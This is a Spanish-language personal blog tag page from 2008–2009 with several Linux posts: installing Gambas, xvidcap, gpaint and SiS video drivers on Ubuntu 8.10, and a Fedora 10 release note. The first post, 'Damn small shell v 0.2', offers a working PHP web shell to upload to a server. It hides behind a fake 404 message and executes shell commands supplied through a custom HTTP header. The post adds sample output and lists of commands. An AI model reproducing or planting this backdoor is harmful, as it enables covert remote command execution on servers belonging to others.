Posts Tagged ‘Linux’

Damn small shell v 0.2

February 13th, 2009

Un pequeño script anti-tontos en php, lo suben a su servidor y pueden ejecutar comandos como si fuera la consola de linux o el cmd de windows.

He hecho lo posible por que pase desapersivido el archivo, si intentan entrar desde navegador aparecerá :404 – Archivo no encontrado, pero pueden cambiarlo por un NOT FOUND o lo que quieran y así si alguien externo a ustedes lo encuentra no sabrá que onda xD

Forma de usarlo: ^^ averiguenla si son buenos con el php ;)

Les dejo el Script.

Inicio PHP
$var=getenv(‘HTTP_ACCEPT_dmd’);
echo’404 – Archivo no encontrado‘;
echo “\n\n”;
$a=$var; $var=0;
if(strstr($a,’xD’)==’xD’)
{echo `$a`;}
Fin PHP

Así debe quedar.
Funciona tanto en windows como en linux, claro! teniendo php instalado en el servidor.

WINDOWS un Dir C:

El volumen de la unidad C no tiene etiqueta.
El n£mero de serie del volumen es: E8A0-7E45
Directorio de C:\AppServ\www
12/02/2009 17:52 .
12/02/2009 17:52 ..
29/08/2008 06:50 6.205 Affiliates_v1-1.zip
27/10/2008 17:5027/10/2008 16:53 331.370 ajax_im_3.41_yui.zip
07/09/2008 18:50 appserv
06/02/2009 19:25 carma
07/09/2008 18:50 cgi-bin
29/08/2008 06:47 393.312 Classv1_20Beta.zip

LINUX un ls -al;

-rw-r–r– 1 daniel daniel 490 Nov 3 2008 index.html
-rw-r–r– 1 daniel daniel 2540 Jul 16 12:42 archivo.html
-rw-r–r– 1 daniel daniel 3668 Nov 3 2008 zuper.php
lrwxr-xr-x 1 root www 36 Nov 20 2008 stat -> /home/awstats/
-rwxr-xr-x 1 daniel daniel 221 Nov 3 2008 style.css
-rw-r–r– 1 daniel daniel 490 Nov 3 2008 car
-rwxr-xr-x 1 daniel daniel 1086 Nov 3 2008 dan.htm
-rw-r–r– 1 daniel daniel 8014 Nov 3 2008 youknow.gif

Algunos comandos para unix
ls -al <–lista todos los archivos y los permisos
find y locate <– son para búsqueda de archivos.
mv <– mover archivos y directorios.
mkdir<–crea directorios
rm <– remover archivos y directorios
wget<– descargar archivos al igual que
curl echo <–mostrar mensajes y escribir en archivos
pwd <– muestra la ruta en la que te encuentras
cd <– para subir y bajar directorios

Algunos comandos para windows.
dir <– mostrar directorios
copy <–copiar archivos y directorios
rename <–renombrar archivos y directorios
mkdir <–crear direcotorios
rmdir <–remover directorios o archivos
tree <–arbol de directorios Hay mas pero son los que me acuerdo ahorita, búsquenle en google.

Comandos para cmd
Comandos para unix

¿Que es getenv?
Obtiene el contenido de una variable de entorno DOS

Sintaxis
GETENV() –> cCadena
Argumentos
es el nombre de la variable de entorno del DOS. Cuando se especifica este argumento, puede utilizarse cualquier combinación de letras mayúsculas y minúsculas; GETENV() no es sensible a las mayúsculas y minúsculas.
Devuelve
GETENV() devuelve el contenido de la variable de entorno del DOS especificada como una cadena de caracteres. Si no se puede localizar la variable, GETENV() devuelve una cadena nula (“”).
Descripción
GETENV() es una función de entorno que le permite obtener información del entorno DOS en un programa de aplicación. Normalmente, ésta es la información de la configuración, incluyendo los nombres de vía que proporcionan la situación de los ficheros (base de datos, índice, etiqueta o informes). Esta función es particularmente útil en entornos de red.

Mas info de getenv: tinet.org

Sale bitches a ponerse a pensar un rato ;)

Pinche frío, pinche insomnio.

December 27th, 2008

Me levante a las 4 de la mañana y todo porque ayer me dormí a las 12:20am aproximadamente, trate de volver a dormir pero ya no pude. Como mis intentos por volver a quedar dormido no funcionaron, me levante a las 4:40 de la cama y fui a la cocina a poner agua a calentar para hacer café, prendí la tv mientras esperaba a que se calentara el agua y no había ni madres, prendí la compu y mientras la estaba prendiendo sonó la cafetera y pues me devolví a la cocina, tome una taza, me serví el agua, abrí el refrigerador y saque un pay de queso que hizo mi ama para navidad y agarre un pedazo, me vine de nuevo al cuarto, prendí el monitor, inicie sesión en ubuntu, veo el reloj y ya eran las 6:02 am, veo el clima y digo: “No mames! pinche frió!”.

4 grados centígrados!! Como que mi cerebro estaba apagado o tenia mal el termostato interno de mi cuerpo y no me había dado frió en cuanto me levante, pero cuando vi la temperatura empecé a sentir un chingo, pero un chingo de frió así bien exagerado, hasta empecé a temblar y todo el pedo. Me tuve que poner un suéter y unos calcetines porque los pies los tenia bien fríos; Es decir que andaba con short, camiseta de manga corta y chanclas de esas de a dollar
por 2 horas y no me había dado frió!!

El frió sera psicológico igual que el dolor? o andaba sonámbuliando por 2 horas?

me cae que me doy miedo :S

Que es Gambas y como instalarlo en ubuntu 8.10

December 26th, 2008

Un amigo me pregunto por el msn que si sabía programar en gambas y yo le dije que no, que no sabía ni que chingados era esa cosa :P , me platico lo que era, pero le hice al loco y me fui de mi casa, regrese, cerré la ventana del msn y ya no pude ver lo que me dijo jaja.

Como no guardo las conversaciones tuve que preguntarle a google y esto fue lo que respondió.

¿Que es Gambas?

Gambas es un entorno de desarrollo integrado para la creación de todo tipo de aplicaciones sobre sistemas GNU/Linux. Basado en el lenguaje de programación BASIC, ofrece todas las facilidades para generar aplicaciones de todo tipo:

  • Aplicaciones de texto
  • Aplicaciones gráficas basadas en GTK+/Gnome y QT/KDE
  • Servicios Web
  • Gestión de bases de datos: MySQL, PostgreSQL, Firebird, SQLite, ODBC
  • Redes: sockets, HTTP, FTP
  • Trabajo con XML y XSLT
  • Diseño gráfico en 2D y 3D: SDL, OpenGL
  • Empaquetado y despliegue sencillo de aplicaciones en diferentes distribuciones
  • Internacionalización: Soporte integrado de traducción de aplicaciones.

Vía: Proyecto Gnulinex en español
También tiene un libro en formato sxw.y lo pueden descargar para verlo con openoffice

http://gambas.gnulinex.org/libro/

Instalándolo en Ubuntu 8.10

1.- Abrimos una consola y escribimos :

sudo aptitude install gambas2

comienzan a leerse los paquetes que necesitaremos y por ultimo nos dirá que se ocupan descargar 23 megas, le decimos que si escribiendo una “Y” y presionamos enter para que los descargue.

Otra forma que encontré para instalarlo es www.emete.es/node/16, solo que es para Ubuntu Feisty y no se si para el hardy sea igual.

Si todo salio bien, ahora podemos ver la siguiente pantalla de bienvenida donde vemos el menú para crear nuevos proyectos y algunos buenos ejemplos con los que cuenta gambas.


Abrí uno de los ejemplos que vienen ahí, pero a la hora de intentar correrlo no me dejo porque dice que solo los puedo leer :( sad..

De todas formas leyendo el código pude hacer un pequeño ejemplo al puro estilo del hola mundo.

Ejemplo de programación con gambas 2.7.

1.-Damos click en el botón donde dice Nuevo proyecto
2.-Seleccionamos la primera opción que dice: Aplicación Gráfica y damos siguiente.


3.-Seleccionamos el directorio donde vamos a guardar el proyecto

4.-Escribimos el nombre del proyecto, un titulo y damos ok.

5.-Nos aparece una forma donde crearemos un pequeño botón.

6.-Para eso damos click en el icono que tiene la figura de un botón del lado derecho de la pantalla y dentro de la forma damos un click izquierdo sin soltar el botón y estiramos hasta que nuestro botón quede d
el tamaño que deseamos.
7.-Ahora le damos doble click al botón para que nos mande al código del botón y escribimos lo siguiente

Message.Info(“Saludos!!”)

(aquí tuve un error de ponerle “;” jaa!.. che java y c)

Esto hará que al momento de darle click al botón saldrá una ventanita saludando.

8.- Para cambiar lo que dice dentro del botón nos vamos a la parte derecha de la pantalla y en propiedades se encuentra el campo Text que es donde modificaremos lo que aparece dentro del botón.
9.-Corremos el programa con la flecha run que aparece en la barra de arriba y nos saldrá el programa que hemos creado con el botánico.

10.- Le damos click al botón y nos mostrara el mensaje saludando que le agregamos :)

Y tan tan, nuestro primer programita en gambas, para quienes no lo conocían como yo, pues ya tienen otra alternativa GRATUITA para programar parecido al Basic.

Pagina oficial
gambas.sourceforge.net
Mas info en español aquí
Emete.es

Grabar el escritorio en ubuntu 8.10

December 25th, 2008

Buscando un programa para grabar el escritorio de ubuntu y hacer video tutoriales encontré un programa en la web de ubunturoot llamado XViDCap que sirve para capturar la pantalla, les dejo la descripción que viene en el gestor de paquetes synaptic.

Vídeo captura de pantalla para X
Permite grabar la pantalla para capturar vídeos sin estar en su escritorio X-Window para propósitos ilustrativos o de documentación. Se pretende que sea una alternativa basada en estándares de herramientas como Lotus ScreenCam

El vídeo puede ser grabado en formato MPEG o AVI

Para instalarlo abrimos el gestor de paquetes synaptic desde

Sistema > Administración > Gestor de paquetes Synaptic

Se abre una ventanita donde en el campo de búsqueda pondremos la palabra


XViDCap


Nos aparece el programa, le damos doble click para seleccionarlo y le damos click al botón aplicar para que comience a instalarse.

Desde modo consola se hace de la siguiente manera.

sudo apt-get install xvidcap

Ya cuando lo instalamos nos vamos a

Aplicaciones > Video y Sonido > XVidCap Screen Capture

Les aparecerá algo así
donde el rectángulo rojo es el área de su escritorio que se comenzara a grabar al momento de dar click al botón rojo de record, pueden hacer el área mas grande estirando de las esquinas el rectangulo.

Ahora si, a grabar vídeo-tutoriales desde ubuntu =)

Alternativa a Paint de Windows en Ubuntu 8.10

December 23rd, 2008

Como muchos sabrán en ubuntu 8.10 existe gimp, el cual se instala al momento de instalar el sistema. Es un buen editor de imágenes y dibujo, pero a veces quieres editar una imagen de manera rápida y sencilla sin utilizar tantas herramientas y con gimp seria algo tardado sobre todo para aquellos que no lo conocen o apenas se estan cambiando de windows a linux.

Me puse a buscar en el gestor de paquetes Sinaptic de ubuntu que esta en:

Sistema > Administracion > Gestor de Paquetes Sinaptic

Y escribí en el campo buscar la palabra paint a ver si encontraba algo y en los resultados apareció un programa llamado gpaint, esta es la descripción que aparece en el gestor

GNU Paint - un programa de dibujo pequeño y fácil de usar para Gnome. Esto es gpaint (GNU Paint), un programa de dibujo a pequeña escala para Gnome, el entorno de escritorio GNU. gpaint no pretende competir con GIMP; tan sólo es un sencillo paquete de dibujo basado en xpaint, muy en la línea del «Paintbrush» que se puede encontrar en un popular sistema operativo privativo.

Para instalarlo solo le dan click al nombre gpaint y otro click al botón aplicar que aparece arriba


Pero también lo pueden instalar desde consola con este comando

sudo apt-get install gpaint

Espero les sea de utilidad :)

Instalando Drivers para Tarjeta integrada SiSM650 en ubuntu intrepid 8.10

December 15th, 2008

Ayer instale ubuntu en mi pc, pero como salí con mis amigos deje todo incompleto, así que hace un momento me puse a buscar los drivers para la tarjeta de vídeo SiSM650(integrada) de mi pc. Porque se miraban horribles los graficos, me puse a googlear y encontré los drivers hechos por Thomas Winischhofer que me ayudaron a resolver este problema.

Para instalarlos se hace de la siguiente manera:

1.-Descargamos el paquete para la tarjeta desde el siguiente repositorio.

wget http://vejeta.sdf-eu.org/sis/sisctrl_0.0.20051202-1_i386.deb

2.-Instalamos el paquete utilizando sudo.

sudo dpkg -i sisctrl_0.0.20051202-1_i386.deb

3.-Reconfiguramos xserver-xorg

sudo dpkg-reconfigure xserver-xorg

3.1.-Aparecera una pantalla donde a todo lo que salga le damos aceptar, hasta que termine.

4.-Reiniciamos la PC.

sudo reboot

5.-Habilitamos el controlador modificando el archivo xorg.conf .

sudo gedit /etc/X11/xorg.conf

6.-Dentro del archivo buscamos las siguientes lineas:

Section “Device”
Identifier “Tarjeta de vídeo genérica”
Driver “sis”
BusID “PCI:1:0:0″

Y agregamos Option “EnableSiSCtrl” “yes”

Asi debe quedar
Section “Device”
Identifier “Tarjeta de vídeo genérica”
Driver “sis”
Option “EnableSiSCtrl” “yes”
BusID “PCI:1:0:0″

6.1.-Si la configuracion no es igual a la anterior, podría estar así.

Section “Device”
Identifier “Configured Video Device”

Modificamos y debe quedar de la siguiente forma.

Section “Device”
Identifier “Configured Video Device”
Option “EnableSiSCtrl” “yes”

7.-Reiniciamos de nuevo.

sudo reboot

8.-Si todo ha salido bien ahora podremos encontrar con la configuración para la tarjeta en Menú Aplicaciones –> Accesorios y encontraremos SiSCTRL damos click y nos desplegara una pantalla donde configuraremos la resolución de nuestra pantalla, en mi caso es de 1024×768, la seleccionamos y damos aplicar.

Ahora si, tenemos una tarjeta gráfica acelerada y una pantalla que se mira muy bien, si algo salio mal revisen todos los puntos por si algo hicieron mal, en caso de que ese no sea el motivo, dudas, comentarios, sugerencias, mentadas de madre, en los comments, por favor.

Espero les sirva.

Fuentes:
Thomas Winischhofer
ubuntu-es.org
Drivers Sis para Linux.

Fedora 10 liberado.

November 25th, 2008


Al fin hoy ha sido liberada fedora 10!!
Para quien no sabe que es, aquí les dejo un extracto de softonic.

Fedora Linux es la versión gratuita, abierta y para todo el público de Red Hat Enterprise, la distribución comercial enfocada a la empresa realizada por uno de los principales actores del universo Linux.

Fedora está enfocada al usuario final y doméstico y está desarrollada por una comunidad abierta a todo el mundo en lo que se ha venido a llamar Proyecto Fedora.

Escritorio habitual y una larga lista de aplicaciones actualizadas y optimizadas para su uso en Fedora, buscando facilidad de uso, eficiencia y el uso de los estándares abiertos.

Cambios recientes en Fedora Linux (DVD):

  • Kernel 2.6.27
  • Gnome 2.24
  • KDE 4.1.2
  • Instalación opcional de LXDE (a través de Yum)
  • Arranque mejorado más rápido con arranque gráfico Plymouth
  • Eclipse 3.4 por defecto
  • Compartición de redes inalámbricas
  • Mejoras en la administración de impresoras
  • Manejo de datos para uso de máquinas virtuales más sencillo
  • Nueva herramienta de seguridad SecTool
  • RPM actualizado a 4.6
  • Se ha reescrito PulseAudio
  • Soporte webcam y para controles remotos infrarrojos mejorado
  • Soporte más completo para hardware

Leer más

    • Pagina 1 de 3
    • 1
    • 2
    • 3
    • >